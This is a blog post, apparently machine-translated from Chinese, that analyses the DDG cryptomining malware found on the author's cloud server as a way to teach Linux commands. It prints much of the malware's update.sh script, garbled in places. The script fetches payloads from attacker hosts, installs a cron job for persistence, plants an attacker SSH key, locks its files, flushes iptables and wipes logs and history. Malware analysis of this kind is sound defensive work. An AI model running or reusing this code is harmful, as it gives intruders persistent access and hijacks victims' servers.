a520root(a57root权限)

最近在易生信培训的时候新买了一块阿里云,用来演示分析流程的构建和配置。短期使用,上面没有数据,也没有做任何防范。结果,我从来没想过。我被挖矿病毒盯上了,这让我有

a520root(a57root权限)插图

最近在易生信培训的时候新买了一块阿里云,用来演示分析流程的构建和配置。短期使用,上面没有数据,也没有做任何防范。结果,我从来没想过。我被挖矿病毒盯上了,这让我有机会接近病毒。

这是一种Linux和Windows病毒,名叫DDG挖掘病毒。它的目的是利用被黑电脑的资源帮你挖矿,获取虚拟货币。该病毒从去年开始活跃,已经挖出了价值超过1000万人民币的虚拟货币。并且在一年左右的时间里,开发了不止一个ddg . 3012/ddg . 3012/ddg 3013/ddg 3020的变体版本。

下面描述了病毒发现、清理和理解的过程,可以为我们的Linux命令学习提供很多知识点。这些操作大部分在盛鑫宝典的Linux教程系列中都有提及,这也是提高效率的常用方法。

你是怎么发现服务器里的病毒的?最直接的提示是阿里云的邮件:

由于外部攻击,您的云服务器(11.11.11.11)已阻止其访问其他服务器端口(TCP:6379)。封堵预计于2019年6月30日11: 26: 49结束。请及时检查您的安全。如有疑问,请通过工单或电话联系阿里云。感谢大家对阿里云的支持。阿里云计算有限公司这也说明了购买一台云服务器的好处,安全支持,及时发现问题。

看到此提示后,登录到服务器并将其置于顶部:

a520root(a57root权限)插图(1)

我发现了两个进程,sysupdate和networkservice。看名字还以为是Linux系统学习Windows自动升级的时候。看用户,不,普通用户,没有权限升级系统和控制网络,所以怀疑是病毒。

谷歌一下,没错。

a520root(a57root权限)插图(2)

下一步是找到病毒。

先运行locate sysupdate,发现找不到文件。于是我想到可能是在/tmp (locate默认不索引这个目录),用find /tmp -name sysupdate找到了程序,sysupdate,sysguard,network service,update.sh。所有文件除了update.sh都是二进制文件,应该是挖矿的主程序和守护进程。(find是个好工具。具体用法见下面的链接。)

下面重点分析update.sh根据病毒入侵后的操作,学习Linux系统命令的使用。

破坏安全防护

病毒的第一步是试图关闭SELinux子系统。SELinux Linux(安全增强型Linux,是Linux内核模块,也是Linux的安全子系统。主要由美国国家安全局开发。SELinux模块已经集成到2.6及以上版本的Linux内核中。SELinux的结构和配置非常复杂,有大量概念性的东西,学习起来比较困难。很多Linux系统管理员为了麻烦而关闭SELinux,病毒不需要这么做。

#!/bin/sh#病毒的第一步是试图关闭SELinux子系统。setenforce 0 2 & gtdev/nullecho SELINUX = disabled & gt;/etc/sys config/selinux 2 & gt;/dev/null释放缓存获取更多计算资源# # echo 1 >:/proc/sys/VM/drop _ caches;释放页面缓存,使用# echo 2 & gt/proc/sys/VM/drop _ cache;空闲的dentries和inodes # echo 3 & gt/proc/sys/VM/drop _ cache;页面缓存、dentries和inodes注意:在使用之前,您需要将缓存同步并刷到磁盘。同步和回显3 & gt/proc/sys/vm/drop_caches定义了一些变量,扰乱了系统程序。这些变量后面会跟着做什么。在这里,一些程序如wget,curl等。被重命名,初步认为会干扰其他挖掘程序。

幸运的是,这次普通用户被攻破了,但是根用户没有被攻破。所以这些修改因为权限问题没能生效,不然系统用起来会很奇怪。

在这里,我建议大家:密码一定要设置的复杂一点!!!。

crondir = & # 39/var/spool/cron/& # 39;"$ USER & # 34cont = ` cat $ { crondir } ` ssht = ` cat/root/。ssh/authorized _ keys ` echo 1 & gt;/etc/sysupdatesrtdir = & # 34;/etc/sys updates & # 34;bbdir = & # 34/usr/bin/curl & # 34;bbdira = & # 34/usr/bin/cur & # 34;ccdir = & # 34/usr/bin/wget & # 34;ccdira = & # 34/usr/bin/wge & # 34;MV/usr/bin/wget/usr/bin/getmv/usr/bin/xget/usr/bin/getmv/usr/bin/get/usr/bin/wgemv/usr/bin/curl/usr/bin/urlmv/usr/bin/xurl/usr/bin https://de.gsearch.com.de/api/sysupdate" miner _ URL _ backup = & # 34;http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate" miner _ size = & # 34;854364"sh _ url = & # 34https://de.gsearch.com.de/api/update.sh" sh _ URL _ backup = & # 34;http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh" config _ URL = & # 34;https://de.gsearch.com.de/api/config.json"配置url备份= & # 34;http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json" config _ size = & # 34;4954"scan _ url = & # 34https://de.gsearch.com.de/api/networkservice"扫描_网址_备份= & # 34;http://185 . 181 . 10 . 234/e 5 db 0 e 07 C3 d 7 be 80v 520/network service & # 34;scan _ size = & # 342584072"watchdog _ url = & # 34https://de.gsearch.com.de/api/sysguard"看门狗_ url _ backup = & # 34http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"看门狗_ size = & # 341929480"同事是敌人。秒杀其他挖矿节目的不仅是相声界,还有挖矿界的同行。先干掉其他挖矿程序,不要抢自己的资源。

小领域的字母也是如此。某论坛先是邀请大家发帖支持论坛,然后又莫名其妙的偷偷封了账号,把辛辛苦苦发的帖子空全部清零。事实上,合作提供更好的知识是有意义的。

Kill_miner_proc(){ # ps获取正在运行的进程,grep阻塞自身,然后grep其他挖矿程序,awk获取进程号,kill -9强行查杀#如果你看到你的电脑有这些程序,全部清除,全部都是病毒#源代码中有近百个病毒进程,这里只列出一部分:psauxf | grep-v grep | grep。mine . moneropool . com & # 34;| awk & # 39{ print $ 2 } & # 39| xargs kill-9ps auxf | grep-v grep | grep & # 34;pool . t00ls . ru & # 34;| awk & # 39{ print $ 2 } & # 39| xargs kill-9ps auxf | grep-v grep | grep & # 34;xmr . crypto-pool . fr:8080 & # 34;| awk & # 39{ print $ 2 } & # 39| xargs kill-9ps auxf | grep-v grep | grep & # 34;/tmp/a7b 104 c 270 & # 34;| awk & # 39{ print $ 2 } & # 39| xargs kill-9ps auxf | grep-v grep | grep & # 34;xmrpool.eu & # 34| awk & # 39{ print $ 2 } & # 39|xargs kill -9 ps auxf|grep逍遥| awk & # 39{ print $ 2 } & # 39|xargs kill -9 ps auxf|grep肖雪| awk & # 39{ print $ 2 } & # 39| xargs kill-9 PS ax | grep var | grep lib | grep Jenkins | grep-v http port | grep-v headless | grep & # 34;\-c & # 34;| xargs kill-9ps ax | grep-o & # 39;。/[0-9]*-c & # 39;| xargs p Kill-f p Kill-f bioset Jenkins p Kill-f IRQ ba 5 xnc1 p Kill-f IRQ BNC 1 p Kill-f conns p Kill-f IRQ balance p Kill-f crypto-pool p Kill-f Minexmr p Kill-f XJ nrj p Kill-f mg WSL p Kill-f pytno crontab-r RM-RF/var/spool/cron/* }下载自己的miner和守护程序。这里先定义一个函数,以后再调用。主要包括wget、curl程序的判断和运行下载。

downloads(){ if[-f & # 34;/usr/bin/curl & # 34;]然后echo ,$ 2 http _ code = ` curl-I-M10-o/dev/null-s-w % { http _ code } $ 1 `#网页返回代码是否为200,200表示成功如果[& # 34;$ http _ code & # 34-情商& # 34;200"]然后curl-connect-time out 10-retry 100 $ 1 & gt;2美元elif[& # 34;$ http _ code & # 34-情商& # 34;405"]然后curl-connect-time out 10-retry 100 $ 1 & gt;$ 2 else curl-connect-time out 10-retry 100 $ 3 & gt;$ 2 fi elif[-f & # 34;/usr/bin/cur & # 34;]那么http _ code = ` cur-I-m 10-o/dev/null-s-w % { http _ code } $ 1 ` if[& # 34;$ http _ code & # 34-情商& # 34;200"]然后cur-connect-time out 10-retry 100 $ 1 & gt;2美元elif[& # 34;$ http _ code & # 34-情商& # 34;405"]然后cur-connect-time out 10-retry 100 $ 1 & gt;$ 2 else cur-connect-time out 10-retry 100 $ 3 & gt;$ 2 fi elif[-f & # 34;/usr/bin/wget & # 34;]那么wget-time out = 10-tries = 100-O $ 2 $ 1 if[$?-ne 0 ]那么wget-time out = 10-tries = 100-O $ 2 $ 3 fi elif[-f & # 34;/usr/bin/wge & # 34;]那么wge-time out = 10-tries = 100-O $ 2 $ 1 if[$?-eq0]然后wge-time out = 10-tries = 100-o $ 2 $ 3 fi fi }杀死其他资源密集型程序Kill _ sus _ proc(){ PS axf-o & # 34;pid & # 34|在读取procid时,执行ls-l/proc/$ procid/exe | grep/tmp if[$?-ne 1 ]然后cat/proc/$ procid/cmdline | grep-a-E & # 34;sysguard | update . sh | sys update | network service & # 34;如果[ $?-ne 0 ]然后kill-9 $ procid else echo & # 34;唐& # 39;t杀& # 34;fi fi done PS axf-o & # 34;pid % cpu & # 34| awk & # 39{ if($2 & gt;=40.0)打印$ 1 } & # 39;| while read procid do cat/proc/$ procid/cmdline | grep-a-E & # 34;sysguard | update . sh | sys update | network service & # 34;#如果是自己的程序sysguard | update.sh | sysupdate |网络服务,$?== 0 if [ $?-ne 0 ]然后kill-9 $ procid else echo & # 34;唐& # 39;t杀& # 34;Fi done}调用函数kill_miner_prockill_sus_proc,定时执行。以下代码对于无密码登录来说相对较长。首先判断自己是不是root用户。如果是后续的下载,会存放在/etc目录下。如果没有,它将被放在/tmp目录中。

然后设置预定任务,主要是echo & # 34*/30 * * * * sh/etc/update . sh & gt;/dev/null 2 & gt;&1"& gt& gt${ crondir },使用crontab,每30分钟运行一次update.sh。所以简单的停止程序是没有用的。删不全也没用。您必须清除此定时任务空。

接下来,配置/root/。ssh/authorized_keys不用密码登录服务器,从而长时间占用服务器。(这是我们常用的登录服务器的方式。详情请参考下面的教程。)

然后下载挖矿配置文件config.json,挖矿程序sysupdate,networkservice,根据文件大小判断是否是自己的程序,然后启动程序。

如果[-f & # 34;$ rtdir & # 34]然后echo & # 34我是鲁特& # 34;回声& # 34;转到1 & # 34;& gt& gt/etc/sys update chattr-I/etc/sys update * chattr-I/etc/config . JSON * chattr-I/etc/update . sh * chattr-I/root/。ssh/authorized _ keys * chattr-I/etc/network service if[!-f & # 34;/usr/bin/crontab & # 34;]然后echo & # 34*/30 * * * * sh/etc/update . sh & gt;/dev/null 2 & gt;&1"& gt& gt$ { crondir } else[[$ cont = ~ & # 34;update.sh & # 34]]| |(crontab-l;回声& # 34;*/30 * * * * sh/etc/update . sh & gt;/dev/null 2 & gt;&1")| crontab - fi chmod 700 /root/。ssh/echo & gt;& gt/root/。ssh/authorized _ keys chmod 600 root/。ssh/authorized _ keys echo & # 34;ssh-RSA aaaaab3n Zac 1 YC 2 eaaaadabaaabaaaba QC 9wk ij 7 yq 6 hcafmwzdmv 1 rkxpdji/oexuwdnw 1 mrwiqnvkessess dz 6 nayvqfsjgxusgiqbktto 8 fhv 43 r9 fwdwvhsrwpofbz 9 safgo 06 JC 0 m2 kgvns 9j 2 sljdub 9 u 1 kxy 5 ioz qg 4 qtg z 6 LP 2 uuwlg 7 tgmpkbk 7 u l5+VC 82 dkti& gt& gt/root/。ssh/authorized _ keys CFG = & # 34;/etc/config . JSON & # 34;file = & # 34/etc/sys update & # 34;如果[-f & # 34;/etc/config . JSON & # 34;]然后filesize _ config = ` ls-l/etc/config . JSON | awk & # 39;{ print $ 5 } & # 39`如果[& # 34;$ filesize _ config & # 34-ne & # 34;$ config _ size & # 34]然后pkill-f sys update RM/etc/config . JSON下载$ config _ URL/etc/config . JSON $ config _ URL _ backup else echo & # 34;无需下载& # 34;fi else下载$ config _ URL/etc/config . JSON $ config _ URL _ backup fi if[-f & # 34;/etc/sys update & # 34;]然后filesize 1 = ` ls-l/etc/sys update | awk & # 39;{ print $ 5 } & # 39`如果[& # 34;$ filesize1 & # 34-ne & # 34;$ miner _ size & # 34]然后pkill-f sys update RM/etc/sys update下载$ miner _ URL/etc/sys update $ miner _ URL _ backup else echo & # 34;不需要下载& # 34;fi else下载$ miner _ URL/etc/sys update $ miner _ URL _ backup fi if[-f & # 34;/etc/sysguard & # 34;]然后filesize 1 = ` ls-l/etc/sysguard | awk & # 39;{ print $ 5 } & # 39`如果[& # 34;$ filesize1 & # 34-ne & # 34;$ watchdog _ size & # 34]然后pkill -f sysguard rm /etc/sysguard下载$ watchdog _ URL/etc/sysguard $ watchdog _ URL _ backup else echo & # 34;不需要下载& # 34;fi else下载$ watchdog _ URL/etc/sysguard $ watchdog _ URL _ backup fi下载$ sh _ URL/etc/update . sh $ sh _ URL _ backup if[-f & # 34;/etc/network service & # 34;]然后filesize 2 = ` ls-l/etc/network service | awk & # 39;{ print $ 5 } & # 39`如果[& # 34;$ filesize2 & # 34-ne & # 34;$ scan _ size & # 34]然后pkill-f network service RM/etc/network service下载$ scan _ URL/etc/network service $ scan _ URL _ backup else echo & # 34;不需要下载& # 34;fi else下载$ scan _ URL/etc/network service $ scan _ URL _ backup fi chmod 777/etc/sys update PS-Fe | grep sys update | grep-v grep if[$?-ne 0 ]然后CD/etc echo & # 34;不是root runing & # 34睡眠5s。/sys update & else echo & # 34;根运行....."fi chmod 777/etc/network service PS-Fe | grep network service | grep-v grep if[$?-ne 0 ]然后CD/etc echo & # 34;不是根runing & # 34睡眠5s。/network service & else echo & # 34;根运行....."fi chmod 777/etc/sysguard PS-Fe | grep sysguard | grep-v grep if[$?-ne 0 ]然后echo & # 34不是tmps runing & # 34cd /etc chmod 777 sysguard睡眠5s。/sysguard & else echo & # 34;根运行....."Fi # chmod修改用户或组的属性# chattr修改所有人的属性,+i表示文件不能被修改#所以虽然看起来像777,但是删除起来不是很直接。在删除chmod 777/etc/sysupdatechattr+I/etc/sysupdatechmod 777/etc/networkservicechattr+I/etc/networkservicechmod 777/etc/config . JSON chattr+I/etc/config . JSON chmod 777/etc/update . sh chattr+I/etc/update . sh chmod 777/root/之前需要Chattr -i文件。ssh/authorized _ keys chattr+I/root/。省略ssh/ Authorized_keyselse...fi修改防火墙配置iptables-f iptables-x iptables-aoutput-ptcp-dport 3333-j drop iptables-aoutput-ptcp-dport 5555-j drop iptables-A OUTPUT-p TCP-dport 7777-j drop iptables-A OUTPUT-p TCP-dport 9999-j drop iptables-I INPUT-s 43.245.222.57-j drop service iptables reloadps auxf | grep | grep & # 34;阶层& # 34;| awk & # 39{ print $ 2 } & # 39|xargs kill -9清理操作trace cleaning,cleaning 空 cleaning 空

历史-切赫& gt/var/spool/mail/root echo & gt;/var/log/wtmpecho & gt;/var/log/secure echo & gt;/root/的整个操作。bash_history还是很滑的,而且很严谨,保证了资源的独占性和不被发现的操作记录。

见:http://m.simpreme.com/eevpuh.html反编译采矿计划。

当病毒如此努力地做好自己的工作时,我们为什么不学好Linux,尤其是作为生物信息的朋友?这是基本功。

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。

作者:美站资讯,如若转载,请注明出处:https://www.meizw.com/n/118698.html

发表回复

登录后才能评论